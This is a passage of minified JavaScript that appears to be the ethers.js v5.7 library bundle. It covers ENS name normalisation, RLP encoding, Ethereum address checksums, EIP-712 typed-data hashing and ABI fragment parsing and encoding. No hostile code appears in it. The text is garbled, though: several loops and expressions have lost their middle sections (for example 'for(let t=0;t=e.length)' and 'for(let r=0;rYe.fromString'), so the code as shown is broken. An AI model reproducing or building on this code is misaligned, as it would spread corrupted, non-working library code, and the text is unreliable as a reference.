zt(t){const e=Ct(Ot(t)),r=[];if(0===t.length)return r;let n=0;for(let t=0;t=e.length)throw new Error(\"invalid ENS name; empty component\");return r.push(jt(e.slice(n))),r}Jt.fill(0);const qt=\"\u0019Ethereum Signed Message:\\n\";const Xt=new m(\"rlp/5.7.0\");function Vt(t){const e=[];for(;t;)e.unshift(255&t),t>>=8;return e}function Wt(t){if(Array.isArray(t)){let e=[];if(t.forEach((function(t){e=e.concat(Wt(t))})),e.length<=55)return e.unshift(192+e.length),e;const r=Vt(e.length);return r.unshift(247+r.length),r.concat(e)}var e;k(e=t)&&!(e.length%2)||_(e)||Xt.throwArgumentError(\"RLP object must be BytesLike\",\"object\",t);const r=Array.prototype.slice.call(Q(t));if(1===r.length&&r[0]<=127)return r;if(r.length<=55)return r.unshift(128+r.length),r;const n=Vt(r.length);return n.unshift(183+n.length),n.concat(r)}const Zt=new m(\"address/5.7.0\");function $t(t){k(t,20)||Zt.throwArgumentError(\"invalid address\",\"address\",t);const e=(t=t.toLowerCase()).substring(2).split(\"\"),r=new Uint8Array(40);for(let t=0;t<40;t++)r[t]=e[t].charCodeAt(0);const n=Q(F(r));for(let t=0;t<40;t+=2)n[t>>1]>>4>=8&&(e[t]=e[t].toUpperCase()),(15&n[t>>1])>=8&&(e[t+1]=e[t+1].toUpperCase());return\"0x\"+e.join(\"\")}const te={};for(let t=0;t<10;t++)te[String(t)]=String(t);for(let t=0;t<26;t++)te[String.fromCharCode(65+t)]=String(10+t);const ee=Math.floor((re=9007199254740991,Math.log10?Math.log10(re):Math.log(re)/Math.LN10));var re;function ne(t){let e=null;if(\"string\"!=typeof t&&Zt.throwArgumentError(\"invalid address\",\"address\",t),t.match(/^(0x)?[0-9a-fA-F]{40}$/))\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),e=$t(t),t.match(/([A-F].*[a-f])|([a-f].*[A-F])/)&&e!==t&&Zt.throwArgumentError(\"bad address checksum\",\"address\",t);else if(t.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)){for(t.substring(2,4)!==function(t){let e=(t=(t=t.toUpperCase()).substring(4)+t.substring(0,2)+\"00\").split(\"\").map((t=>te[t])).join(\"\");for(;e.length>=ee;){let t=e.substring(0,ee);e=parseInt(t,10)%97+e.substring(t.length)}let r=String(98-parseInt(e,10)%97);for(;r.length<2;)r=\"0\"+r;return r}(t)&&Zt.throwArgumentError(\"bad icap checksum\",\"address\",t),e=q(t.substring(4));e.length<40;)e=\"0\"+e;e=$t(\"0x\"+e)}else Zt.throwArgumentError(\"invalid address\",\"address\",t);return e}function Ae(t){let e=null;try{e=ne(t.from)}catch(e){Zt.throwArgumentError(\"missing from address\",\"transaction\",t)}const r=function(t){let e=Q(t);if(0===e.length)return e;let r=0;for(;r{const r=t[e];return Promise.resolve(r).then((t=>({key:e,value:t})))}));return(yield Promise.all(e)).reduce(((t,e)=>(t[e.key]=e.value,t)),{})}))}function he(t){const e={};for(const r in t)e[r]=t[r];return e}const ge={bigint:!0,boolean:!0,function:!0,number:!0,string:!0};function ue(t){if(null==t||ge[typeof t])return!0;if(Array.isArray(t)||\"object\"==typeof t){if(!Object.isFrozen(t))return!1;const e=Object.keys(t);for(let r=0;rfe(t))));if(\"object\"==typeof t){const e={};for(const r in t){const n=t[r];void 0!==n&&se(e,r,fe(n))}return e}return oe.throwArgumentError(\"Cannot deepCopy \"+typeof t,\"object\",t)}function fe(t){return le(t)}let pe=class{constructor(t){for(const e in t)this[e]=fe(t[e])}};var de=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))};const Ie=new m(Et),ye=new Uint8Array(32);ye.fill(0);const Ce=Y.from(-1),me=Y.from(0),Be=Y.from(1),Ee=Y.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");const we=x(Be.toHexString(),32),ve=x(me.toHexString(),32),_e={name:\"string\",version:\"string\",chainId:\"uint256\",verifyingContract:\"address\",salt:\"bytes32\"},Qe=[\"name\",\"version\",\"chainId\",\"verifyingContract\",\"salt\"];function be(t){return function(e){return\"string\"!=typeof e&&Ie.throwArgumentError(`invalid domain value for ${JSON.stringify(t)}`,`domain.${t}`,e),e}}const ke={name:be(\"name\"),version:be(\"version\"),chainId:function(t){try{return Y.from(t).toString()}catch(t){}return Ie.throwArgumentError('invalid domain value for \"chainId\"',\"domain.chainId\",t)},verifyingContract:function(t){try{return ne(t).toLowerCase()}catch(t){}return Ie.throwArgumentError('invalid domain value \"verifyingContract\"',\"domain.verifyingContract\",t)},salt:function(t){try{const e=Q(t);if(32!==e.length)throw new Error(\"bad length\");return S(e)}catch(t){}return Ie.throwArgumentError('invalid domain value \"salt\"',\"domain.salt\",t)}};function De(t){{const e=t.match(/^(u?)int(\\d*)$/);if(e){const r=\"\"===e[1],n=parseInt(e[2]||\"256\");(n%8!=0||n>256||e[2]&&e[2]!==String(n))&&Ie.throwArgumentError(\"invalid numeric width\",\"type\",t);const A=Ee.mask(r?n-1:n),i=r?A.add(Be).mul(Ce):me;return function(e){const r=Y.from(e);return(r.lt(i)||r.gt(A))&&Ie.throwArgumentError(`value out-of-bounds for ${t}`,\"value\",e),x(r.toTwos(256).toHexString(),32)}}}{const e=t.match(/^bytes(\\d+)$/);if(e){const r=parseInt(e[1]);return(0===r||r>32||e[1]!==String(r))&&Ie.throwArgumentError(\"invalid bytes width\",\"type\",t),function(e){return Q(e).length!==r&&Ie.throwArgumentError(`invalid length for ${t}`,\"value\",e),function(t){const e=Q(t),r=e.length%32;return r?M([e,ye.slice(r)]):S(e)}(e)}}}switch(t){case\"address\":return function(t){return x(ne(t),32)};case\"bool\":return function(t){return t?we:ve};case\"bytes\":return function(t){return F(t)};case\"string\":return function(t){return Bt(t)}}return null}function Se(t,e){return`${t}(${e.map((({name:t,type:e})=>e+\" \"+t)).join(\",\")})`}var Ne=Object.freeze({__proto__:null,_TypedDataEncoder:class t{constructor(t){se(this,\"types\",Object.freeze(fe(t))),se(this,\"_encoderCache\",{}),se(this,\"_types\",{});const e={},r={},n={};Object.keys(t).forEach((t=>{e[t]={},r[t]=[],n[t]={}}));for(const n in t){const A={};t[n].forEach((i=>{A[i.name]&&Ie.throwArgumentError(`duplicate variable name ${JSON.stringify(i.name)} in ${JSON.stringify(n)}`,\"types\",t),A[i.name]=!0;const o=i.type.match(/^([^\\x5b]*)(\\x5b|$)/)[1];o===n&&Ie.throwArgumentError(`circular type reference to ${JSON.stringify(o)}`,\"types\",t);De(o)||(r[o]||Ie.throwArgumentError(`unknown type ${JSON.stringify(o)}`,\"types\",t),r[o].push(n),e[n][o]=!0)}))}const A=Object.keys(r).filter((t=>0===r[t].length));0===A.length?Ie.throwArgumentError(\"missing primary type\",\"types\",t):A.length>1&&Ie.throwArgumentError(`ambiguous primary types or unused types: ${A.map((t=>JSON.stringify(t))).join(\", \")}`,\"types\",t),se(this,\"primaryType\",A[0]),function A(i,o){o[i]&&Ie.throwArgumentError(`circular type reference to ${JSON.stringify(i)}`,\"types\",t),o[i]=!0,Object.keys(e[i]).forEach((t=>{r[t]&&(A(t,o),Object.keys(o).forEach((e=>{n[e][t]=!0})))})),delete o[i]}(this.primaryType,{});for(const e in n){const r=Object.keys(n[e]);r.sort(),this._types[e]=Se(e,t[e])+r.map((e=>Se(e,t[e]))).join(\"\")}}getEncoder(t){let e=this._encoderCache[t];return e||(e=this._encoderCache[t]=this._getEncoder(t)),e}_getEncoder(t){{const e=De(t);if(e)return e}const e=t.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);if(e){const t=e[1],r=this.getEncoder(t),n=parseInt(e[3]);return e=>{n>=0&&e.length!==n&&Ie.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\",\"value\",e);let A=e.map(r);return this._types[t]&&(A=A.map(F)),F(M(A))}}const r=this.types[t];if(r){const e=Bt(this._types[t]);return t=>{const n=r.map((({name:e,type:r})=>{const n=this.getEncoder(r)(t[e]);return this._types[r]?F(n):n}));return n.unshift(e),M(n)}}return Ie.throwArgumentError(`unknown type: ${t}`,\"type\",t)}encodeType(t){const e=this._types[t];return e||Ie.throwArgumentError(`unknown type: ${JSON.stringify(t)}`,\"name\",t),e}encodeData(t,e){return this.getEncoder(t)(e)}hashStruct(t,e){return F(this.encodeData(t,e))}encode(t){return this.encodeData(this.primaryType,t)}hash(t){return this.hashStruct(this.primaryType,t)}_visit(t,e,r){if(De(t))return r(t,e);const n=t.match(/^(.*)(\\x5b(\\d*)\\x5d)$/);if(n){const t=n[1],A=parseInt(n[3]);return A>=0&&e.length!==A&&Ie.throwArgumentError(\"array length mismatch; expected length ${ arrayLength }\",\"value\",e),e.map((e=>this._visit(t,e,r)))}const A=this.types[t];return A?A.reduce(((t,{name:n,type:A})=>(t[n]=this._visit(A,e[n],r),t)),{}):Ie.throwArgumentError(`unknown type: ${t}`,\"type\",t)}visit(t,e){return this._visit(this.primaryType,t,e)}static from(e){return new t(e)}static getPrimaryType(e){return t.from(e).primaryType}static hashStruct(e,r,n){return t.from(r).hashStruct(e,n)}static hashDomain(e){const r=[];for(const t in e){const n=_e[t];n||Ie.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(t)}`,\"domain\",e),r.push({name:t,type:n})}return r.sort(((t,e)=>Qe.indexOf(t.name)-Qe.indexOf(e.name))),t.hashStruct(\"EIP712Domain\",{EIP712Domain:r},e)}static encode(e,r,n){return M([\"0x1901\",t.hashDomain(e),t.from(r).hash(n)])}static hash(e,r,n){return F(t.encode(e,r,n))}static resolveNames(e,r,n,A){return de(this,void 0,void 0,(function*(){e=he(e);const i={};e.verifyingContract&&!k(e.verifyingContract,20)&&(i[e.verifyingContract]=\"0x\");const o=t.from(r);o.visit(n,((t,e)=>(\"address\"!==t||k(e,20)||(i[e]=\"0x\"),e)));for(const t in i)i[t]=yield A(t);return e.verifyingContract&&i[e.verifyingContract]&&(e.verifyingContract=i[e.verifyingContract]),n=o.visit(n,((t,e)=>\"address\"===t&&i[e]?i[e]:e)),{domain:e,value:n}}))}static getPayload(e,r,n){t.hashDomain(e);const A={},i=[];Qe.forEach((t=>{const r=e[t];null!=r&&(A[t]=ke[t](r),i.push({name:t,type:_e[t]}))}));const o=t.from(r),s=he(r);return s.EIP712Domain?Ie.throwArgumentError(\"types must not contain EIP712Domain type\",\"types.EIP712Domain\",r):s.EIP712Domain=i,o.encode(n),{types:s,domain:A,primaryType:o.primaryType,message:o.visit(n,((t,e)=>{if(t.match(/^bytes(\\d*)/))return S(Q(e));if(t.match(/^u?int/))return Y.from(e).toString();switch(t){case\"address\":return e.toLowerCase();case\"bool\":return!!e;case\"string\":return\"string\"!=typeof e&&Ie.throwArgumentError(\"invalid string\",\"value\",e),e}return Ie.throwArgumentError(\"unsupported type\",\"type\",t)}))}}},dnsEncode:function(t){return S(b(zt(t).map((t=>{if(t.length>63)throw new Error(\"invalid DNS encoded entry; length exceeds 63 bytes\");const e=new Uint8Array(t.length+1);return e.set(t,1),e[0]=e.length-1,e}))))+\"00\"},ensNormalize:function(t){return zt(t).map((t=>mt(t))).join(\".\")},hashMessage:function(t){return\"string\"==typeof t&&(t=Ct(t)),F(b([Ct(qt),Ct(String(t.length)),t]))},id:Bt,isValidName:function(t){try{return 0!==zt(t).length}catch(t){}return!1},messagePrefix:qt,namehash:function(t){\"string\"!=typeof t&&Kt.throwArgumentError(\"invalid ENS name; not a string\",\"name\",t);let e=Jt;const r=zt(t);for(;r.length;)e=F(b([e,F(r.pop())]));return S(e)}}),Me=r(Ne),xe=r(at);const Fe=\"abi/5.7.0\",Pe=new m(Fe),Te={};let Re={calldata:!0,memory:!0,storage:!0},Ue={calldata:!0,memory:!0};function Ge(t,e){if(\"bytes\"===t||\"string\"===t){if(Re[e])return!0}else if(\"address\"===t){if(\"payable\"===e)return!0}else if((t.indexOf(\"[\")>=0||\"tuple\"===t)&&Ue[e])return!0;return(Re[e]||\"payable\"===e)&&Pe.throwArgumentError(\"invalid modifier\",\"name\",e),!1}function He(t,e){for(let r in e)se(t,r,e[r])}const Le=Object.freeze({sighash:\"sighash\",minimal:\"minimal\",full:\"full\",json:\"json\"}),Oe=new RegExp(/^(.*)\\[([0-9]*)\\]$/);let Ye=class t{constructor(e,r){e!==Te&&Pe.throwError(\"use fromString\",m.errors.UNSUPPORTED_OPERATION,{operation:\"new ParamType()\"}),He(this,r);let n=this.type.match(Oe);He(this,n?{arrayLength:parseInt(n[2]||\"-1\"),arrayChildren:t.fromObject({type:n[1],components:this.components}),baseType:\"array\"}:{arrayLength:null,arrayChildren:null,baseType:null!=this.components?\"tuple\":this.type}),this._isParamType=!0,Object.freeze(this)}format(t){if(t||(t=Le.sighash),Le[t]||Pe.throwArgumentError(\"invalid format type\",\"format\",t),t===Le.json){let e={type:\"tuple\"===this.baseType?\"tuple\":this.type,name:this.name||void 0};return\"boolean\"==typeof this.indexed&&(e.indexed=this.indexed),this.components&&(e.components=this.components.map((e=>JSON.parse(e.format(t))))),JSON.stringify(e)}let e=\"\";return\"array\"===this.baseType?(e+=this.arrayChildren.format(t),e+=\"[\"+(this.arrayLength<0?\"\":String(this.arrayLength))+\"]\"):\"tuple\"===this.baseType?(t!==Le.sighash&&(e+=this.type),e+=\"(\"+this.components.map((e=>e.format(t))).join(t===Le.full?\", \":\",\")+\")\"):e+=this.type,t!==Le.sighash&&(!0===this.indexed&&(e+=\" indexed\"),t===Le.full&&this.name&&(e+=\" \"+this.name)),e}static from(e,r){return\"string\"==typeof e?t.fromString(e,r):t.fromObject(e)}static fromObject(e){return t.isParamType(e)?e:new t(Te,{name:e.name||null,type:tr(e.type),indexed:null==e.indexed?null:!!e.indexed,components:e.components?e.components.map(t.fromObject):null})}static fromString(e,r){return n=function(t,e){let r=t;function n(e){Pe.throwArgumentError(`unexpected character at position ${e}`,\"param\",t)}function A(t){let r={type:\"\",name:\"\",parent:t,state:{allowType:!0}};return e&&(r.indexed=!1),r}t=t.replace(/\\s/g,\" \");let i={type:\"\",name:\"\",state:{allowType:!0}},o=i;for(let r=0;rYe.fromString(t,e)))}let Je=class t{constructor(t,e){t!==Te&&Pe.throwError(\"use a static from method\",m.errors.UNSUPPORTED_OPERATION,{operation:\"new Fragment()\"}),He(this,e),this._isFragment=!0,Object.freeze(this)}static from(e){return t.isFragment(e)?e:\"string\"==typeof e?t.fromString(e):t.fromObject(e)}static fromObject(e){if(t.isFragment(e))return e;switch(e.type){case\"function\":return We.fromObject(e);case\"event\":return je.fromObject(e);case\"constructor\":return Ve.fromObject(e);case\"error\":return $e.fromObject(e);case\"fallback\":case\"receive\":return null}return Pe.throwArgumentError(\"invalid fragment object\",\"value\",e)}static fromString(t){return\"event\"===(t=(t=(t=t.replace(/\\s/g,\" \")).replace(/\\(/g,\" (\").replace(/\\)/g,\") \").replace(/\\s+/g,\" \")).trim()).split(\" \")[0]?je.fromString(t.substring(5).trim()):\"function\"===t.split(\" \")[0]?We.fromString(t.substring(8).trim()):\"constructor\"===t.split(\"(\")[0].trim()?Ve.fromString(t.trim()):\"error\"===t.split(\" \")[0]?$e.fromString(t.substring(5).trim()):Pe.throwArgumentError(\"unsupported fragment\",\"value\",t)}static isFragment(t){return!(!t||!t._isFragment)}},je=class t extends Je{format(t){if(t||(t=Le.sighash),Le[t]||Pe.throwArgumentError(\"invalid format type\",\"format\",t),t===Le.json)return JSON.stringify({type:\"event\",anonymous:this.anonymous,name:this.name,inputs:this.inputs.map((e=>JSON.parse(e.format(t))))});let e=\"\";return t!==Le.sighash&&(e+=\"event \"),e+=this.name+\"(\"+this.inputs.map((e=>e.format(t))).join(t===Le.full?\", \":\",\")+\") \",t!==Le.sighash&&this.anonymous&&(e+=\"anonymous \"),e.trim()}static from(e){return\"string\"==typeof e?t.fromString(e):t.fromObject(e)}static fromObject(e){if(t.isEventFragment(e))return e;\"event\"!==e.type&&Pe.throwArgumentError(\"invalid event object\",\"value\",e);const r={name:rr(e.name),anonymous:e.anonymous,inputs:e.inputs?e.inputs.map(Ye.fromObject):[],type:\"event\"};return new t(Te,r)}static fromString(e){let r=e.match(nr);r||Pe.throwArgumentError(\"invalid event string\",\"value\",e);let n=!1;return r[3].split(\" \").forEach((t=>{switch(t.trim()){case\"anonymous\":n=!0;break;case\"\":break;default:Pe.warn(\"unknown modifier: \"+t)}})),t.fromObject({name:r[1].trim(),anonymous:n,inputs:Ke(r[2],!0),type:\"event\"})}static isEventFragment(t){return t&&t._isFragment&&\"event\"===t.type}};function ze(t,e){e.gas=null;let r=t.split(\"@\");return 1!==r.length?(r.length>2&&Pe.throwArgumentError(\"invalid human-readable ABI signature\",\"value\",t),r[1].match(/^[0-9]+$/)||Pe.throwArgumentError(\"invalid human-readable ABI signature gas\",\"value\",t),e.gas=Y.from(r[1]),r[0]):t}function qe(t,e){e.constant=!1,e.payable=!1,e.stateMutability=\"nonpayable\",t.split(\" \").forEach((t=>{switch(t.trim()){case\"constant\":e.constant=!0;break;case\"payable\":e.payable=!0,e.stateMutability=\"payable\";break;case\"nonpayable\":e.payable=!1,e.stateMutability=\"nonpayable\";break;case\"pure\":e.constant=!0,e.stateMutability=\"pure\";break;case\"view\":e.constant=!0,e.stateMutability=\"view\";break;case\"external\":case\"public\":case\"\":break;default:console.log(\"unknown modifier: \"+t)}}))}function Xe(t){let e={constant:!1,payable:!0,stateMutability:\"payable\"};return null!=t.stateMutability?(e.stateMutability=t.stateMutability,e.constant=\"view\"===e.stateMutability||\"pure\"===e.stateMutability,null!=t.constant&&!!t.constant!==e.constant&&Pe.throwArgumentError(\"cannot have constant function with mutability \"+e.stateMutability,\"value\",t),e.payable=\"payable\"===e.stateMutability,null!=t.payable&&!!t.payable!==e.payable&&Pe.throwArgumentError(\"cannot have payable function with mutability \"+e.stateMutability,\"value\",t)):null!=t.payable?(e.payable=!!t.payable,null!=t.constant||e.payable||\"constructor\"===t.type||Pe.throwArgumentError(\"unable to determine stateMutability\",\"value\",t),e.constant=!!t.constant,e.constant?e.stateMutability=\"view\":e.stateMutability=e.payable?\"payable\":\"nonpayable\",e.payable&&e.constant&&Pe.throwArgumentError(\"cannot have constant payable function\",\"value\",t)):null!=t.constant?(e.constant=!!t.constant,e.payable=!e.constant,e.stateMutability=e.constant?\"view\":\"payable\"):\"constructor\"!==t.type&&Pe.throwArgumentError(\"unable to determine stateMutability\",\"value\",t),e}let Ve=class t extends Je{format(t){if(t||(t=Le.sighash),Le[t]||Pe.throwArgumentError(\"invalid format type\",\"format\",t),t===Le.json)return JSON.stringify({type:\"constructor\",stateMutability:\"nonpayable\"!==this.stateMutability?this.stateMutability:void 0,payable:this.payable,gas:this.gas?this.gas.toNumber():void 0,inputs:this.inputs.map((e=>JSON.parse(e.format(t))))});t===Le.sighash&&Pe.throwError(\"cannot format a constructor for sighash\",m.errors.UNSUPPORTED_OPERATION,{operation:\"format(sighash)\"});let e=\"constructor(\"+this.inputs.map((e=>e.format(t))).join(t===Le.full?\", \":\",\")+\") \";return this.stateMutability&&\"nonpayable\"!==this.stateMutability&&(e+=this.stateMutability+\" \"),e.trim()}static from(e){return\"string\"==typeof e?t.fromString(e):t.fromObject(e)}static fromObject(e){if(t.isConstructorFragment(e))return e;\"constructor\"!==e.type&&Pe.throwArgumentError(\"invalid constructor object\",\"value\",e);let r=Xe(e);r.constant&&Pe.throwArgumentError(\"constructor cannot be constant\",\"value\",e);const n={name:null,type:e.type,inputs:e.inputs?e.inputs.map(Ye.fromObject):[],payable:r.payable,stateMutability:r.stateMutability,gas:e.gas?Y.from(e.gas):null};return new t(Te,n)}static fromString(e){let r={type:\"constructor\"},n=(e=ze(e,r)).match(nr);return n&&\"constructor\"===n[1].trim()||Pe.throwArgumentError(\"invalid constructor string\",\"value\",e),r.inputs=Ke(n[2].trim(),!1),qe(n[3].trim(),r),t.fromObject(r)}static isConstructorFragment(t){return t&&t._isFragment&&\"constructor\"===t.type}},We=class t extends Ve{format(t){if(t||(t=Le.sighash),Le[t]||Pe.throwArgumentError(\"invalid format type\",\"format\",t),t===Le.json)return JSON.stringify({type:\"function\",name:this.name,constant:this.constant,stateMutability:\"nonpayable\"!==this.stateMutability?this.stateMutability:void 0,payable:this.payable,gas:this.gas?this.gas.toNumber():void 0,inputs:this.inputs.map((e=>JSON.parse(e.format(t)))),outputs:this.outputs.map((e=>JSON.parse(e.format(t))))});let e=\"\";return t!==Le.sighash&&(e+=\"function \"),e+=this.name+\"(\"+this.inputs.map((e=>e.format(t))).join(t===Le.full?\", \":\",\")+\") \",t!==Le.sighash&&(this.stateMutability?\"nonpayable\"!==this.stateMutability&&(e+=this.stateMutability+\" \"):this.constant&&(e+=\"view \"),this.outputs&&this.outputs.length&&(e+=\"returns (\"+this.outputs.map((e=>e.format(t))).join(\", \")+\") \"),null!=this.gas&&(e+=\"@\"+this.gas.toString()+\" \")),e.trim()}static from(e){return\"string\"==typeof e?t.fromString(e):t.fromObject(e)}static fromObject(e){if(t.isFunctionFragment(e))return e;\"function\"!==e.type&&Pe.throwArgumentError(\"invalid function object\",\"value\",e);let r=Xe(e);const n={type:e.type,name:rr(e.name),constant:r.constant,inputs:e.inputs?e.inputs.map(Ye.fromObject):[],outputs:e.outputs?e.outputs.map(Ye.fromObject):[],payable:r.payable,stateMutability:r.stateMutability,gas:e.gas?Y.from(e.gas):null};return new t(Te,n)}static fromString(e){let r={type:\"function\"},n=(e=ze(e,r)).split(\" returns \");n.length>2&&Pe.throwArgumentError(\"invalid function string\",\"value\",e);let A=n[0].match(nr);if(A||Pe.throwArgumentError(\"invalid function signature\",\"value\",e),r.name=A[1].trim(),r.name&&rr(r.name),r.inputs=Ke(A[2],!1),qe(A[3].trim(),r),n.length>1){let t=n[1].match(nr);\"\"==t[1].trim()&&\"\"==t[3].trim()||Pe.throwArgumentError(\"unexpected tokens\",\"value\",e),r.outputs=Ke(t[2],!1)}else r.outputs=[];return t.fromObject(r)}static isFunctionFragment(t){return t&&t._isFragment&&\"function\"===t.type}};function Ze(t){const e=t.format();return\"Error(string)\"!==e&&\"Panic(uint256)\"!==e||Pe.throwArgumentError(`cannot specify user defined ${e} error`,\"fragment\",t),t}let $e=class t extends Je{format(t){if(t||(t=Le.sighash),Le[t]||Pe.throwArgumentError(\"invalid format type\",\"format\",t),t===Le.json)return JSON.stringify({type:\"error\",name:this.name,inputs:this.inputs.map((e=>JSON.parse(e.format(t))))});let e=\"\";return t!==Le.sighash&&(e+=\"error \"),e+=this.name+\"(\"+this.inputs.map((e=>e.format(t))).join(t===Le.full?\", \":\",\")+\") \",e.trim()}static from(e){return\"string\"==typeof e?t.fromString(e):t.fromObject(e)}static fromObject(e){if(t.isErrorFragment(e))return e;\"error\"!==e.type&&Pe.throwArgumentError(\"invalid error object\",\"value\",e);const r={type:e.type,name:rr(e.name),inputs:e.inputs?e.inputs.map(Ye.fromObject):[]};return Ze(new t(Te,r))}static fromString(e){let r={type:\"error\"},n=e.match(nr);return n||Pe.throwArgumentError(\"invalid error signature\",\"value\",e),r.name=n[1].trim(),r.name&&rr(r.name),r.inputs=Ke(n[2],!1),Ze(t.fromObject(r))}static isErrorFragment(t){return t&&t._isFragment&&\"error\"===t.type}};function tr(t){return t.match(/^uint($|[^1-9])/)?t=\"uint256\"+t.substring(4):t.match(/^int($|[^1-9])/)&&(t=\"int256\"+t.substring(3)),t}const er=new RegExp(\"^[a-zA-Z$_][a-zA-Z0-9$_]*$\");function rr(t){return t&&t.match(er)||Pe.throwArgumentError(`invalid identifier \"${t}\"`,\"value\",t),t}const nr=new RegExp(\"^([^)(]*)\\\\((.*)\\\\)([^)(]*)$\");const Ar=new m(Fe);let ir=class{constructor(t,e,r,n){this.name=t,this.type=e,this.localName=r,this.dynamic=n}_throwError(t,e){Ar.throwArgumentError(t,this.localName,e)}},or=class{constructor(t){se(this,\"wordSize\",t||32),this._data=[],this._dataLength=0,this._padding=new Uint8Array(t)}get data(){return M(this._data)}get length(){return this._dataLength}_writeData(t){return this._data.push(t),this._dataLength+=t.length,t.length}appendWriter(t){return this._writeData(b(t._data))}writeBytes(t){let e=Q(t);const r=e.length%this.wordSize;return r&&(e=b([e,this._padding.slice(r)])),this._writeData(e)}_getValue(t){let e=Q(Y.from(t));return e.length>this.wordSize&&Ar.throwError(\"value out-of-bounds\",m.errors.BUFFER_OVERRUN,{length:this.wordSize,offset:e.length}),e.length%this.wordSize&&(e=b([this._padding.slice(e.length%this.wordSize),e])),e}writeValue(t){return this._writeData(this._getValue(t))}writeUpdatableValue(){const t=this._data.length;return this._data.push(this._padding),this._dataLength+=this.wordSize,e=>{this._data[t]=this._getValue(e)}}},sr=class t{constructor(t,e,r,n){se(this,\"_data\",Q(t)),se(this,\"wordSize\",e||32),se(this,\"_coerceFunc\",r),se(this,\"allowLoose\",n),this._offset=0}get data(){return S(this._data)}get consumed(){return this._offset}static coerce(t,e){let r=t.match(\"^u?int([0-9]+)$\");return r&&parseInt(r[1])<=48&&(e=e.toNumber()),e}coerce(e,r){return this._coerceFunc?this._coerceFunc(e,r):t.coerce(e,r)}_peekBytes(t,e,r){let n=Math.ceil(e/this.wordSize)*this.wordSize;return this._offset+n>this._data.length&&(this.allowLoose&&r&&this._offset+e<=this._data.length?n=e:Ar.throwError(\"data out-of-bounds\",m.errors.BUFFER_OVERRUN,{length:this._data.length,offset:this._offset+n})),this._data.slice(this._offset,this._offset+n)}subReader(e){return new t(this._data.slice(this._offset+e),this.wordSize,this._coerceFunc,this.allowLoose)}readBytes(t,e){let r=this._peekBytes(0,t,!!e);return this._offset+=r.length,r.slice(0,t)}readValue(){return Y.from(this.readBytes(this.wordSize))}},ar=class extends ir{constructor(t){super(\"address\",\"address\",t,!1)}defaultValue(){return\"0x0000000000000000000000000000000000000000\"}encode(t,e){try{e=ne(e)}catch(t){this._throwError(t.message,e)}return t.writeValue(e)}decode(t){return ne(x(t.readValue().toHexString(),20))}},cr=class extends ir{constructor(t){super(t.name,t.type,void 0,t.dynamic),this.coder=t}defaultValue(){return this.coder.defaultValue()}encode(t,e){return this.coder.encode(t,e)}decode(t){return this.coder.decode(t)}};const hr=new m(Fe);function gr(t,e,r){let n=null;if(Array.isArray(r))n=r;else if(r&&\"object\"==typeof r){let t={};n=e.map((e=>{const n=e.localName;return n||hr.throwError(\"cannot encode object for signature with missing names\",m.errors.INVALID_ARGUMENT,{argument:\"values\",coder:e,value:r}),t[n]&&hr.throwError(\"cannot encode object for signature with duplicate names\",m.errors.INVALID_ARGUMENT,{argument:\"values\",coder:e,value:r}),t[n]=!0,r[n]}))}else hr.throwArgumentError(\"invalid tuple value\",\"tuple\",r);e.length!==n.length&&hr.throwArgumentError(\"types/value length mismatch\",\"tuple\",r);let A=new or(t.wordSize),i=new or(t.wordSize),o=[];e.forEach(((t,e)=>{let r=n[e];if(t.dynamic){let e=i.length;t.encode(i,r);let n=A.writeUpdatableValue();o.push((t=>{n(t+e)}))}else t.encode(A,r)})),o.forEach((t=>{t(A.length)}));let s=t.appendWriter(A);return s+=t.appendWriter(i),s}function ur(t,e){let r=[],n=t.subReader(0);e.forEach((e=>{let A=null;if(e.dynamic){let r=t.readValue(),i=n.subReader(r.toNumber());try{A=e.decode(i)}catch(t){if(t.code===m.errors.BUFFER_OVERRUN)throw t;A=t,A.baseType=e.name,A.name=e.localName,A.type=e.type}}else try{A=e.decode(t)}catch(t){if(t.code===m.errors.BUFFER_OVERRUN)throw t;A=t,A.baseType=e.name,A.name=e.localName,A.type=e.type}null!=A&&r.push(A)}));const A=e.reduce(((t,e)=>{const r=e.localName;return r&&(t[r]||(t[r]=0),t[r]++),t}),{});e.forEach(((t,e)=>{let n=t.localName;if(!n||1!==A[n])return;if(\"length\"===n&&(n=\"_length\"),null!=r[n])return;const i=r[e];i instanceof Error?Object.defineProperty(r,n,{enumerable:!0,get:()=>{throw i}}):r[n]=i}));for(let t=0;t{throw e}})}return Object.freeze(r)}let lr=class extends ir{constructor(t,e,r){super(\"array\",t.type+\"[\"+(e>=0?e:\"\")+\"]\",r,-1===e||t.dynamic),this.coder=t,this.length=e}defaultValue(){const t=this.coder.defaultValue(),e=[];for(let r=0;rt._data.length&&hr.throwError(\"insufficient data length\",m.errors.BUFFER_OVERRUN,{length:t._data.length,count:e}));let r=[];for(let t=0;t{t.dynamic&&(r=!0),n.push(t.type)}));super(\"tuple\",\"tuple(\"+n.join(\",\")+\")\",e,r),this.coders=t}defaultValue(){const t=[];this.coders.forEach((e=>{t.push(e.defaultValue())}));const e=this.coders.reduce(((t,e)=>{const r=e.localName;return r&&(t[r]||(t[r]=0),t[r]++),t}),{});return this.coders.forEach(((r,n)=>{let A=r.localName;A&&1===e[A]&&(\"length\"===A&&(A=\"_length\"),null==t[A]&&(t[A]=t[n]))})),Object.freeze(t)}encode(t,e){return gr(t,this.coders,e)}decode(t){return t.coerce(this.name,ur(t,this.coders))}};const Er=new m(Fe),wr=new RegExp(/^bytes([0-9]*)$/),vr=new RegExp(/^(u?int)([0-9]*)$/);const _r=new class{constructor(t){se(this,\"coerceFunc\",t||null)}_getCoder(t){switch(t.baseType){case\"address\":return new ar(t.name);case\"bool\":return new fr(t.name);case\"string\":return new mr(t.name);case\"bytes\":return new dr(t.name);case\"array\":return new lr(this._getCoder(t.arrayChildren),t.arrayLength,t.name);case\"tuple\":return new Br((t.components||[]).map((t=>this._getCoder(t))),t.name);case\"\":return new yr(t.name)}let e=t.type.match(vr);if(e){let 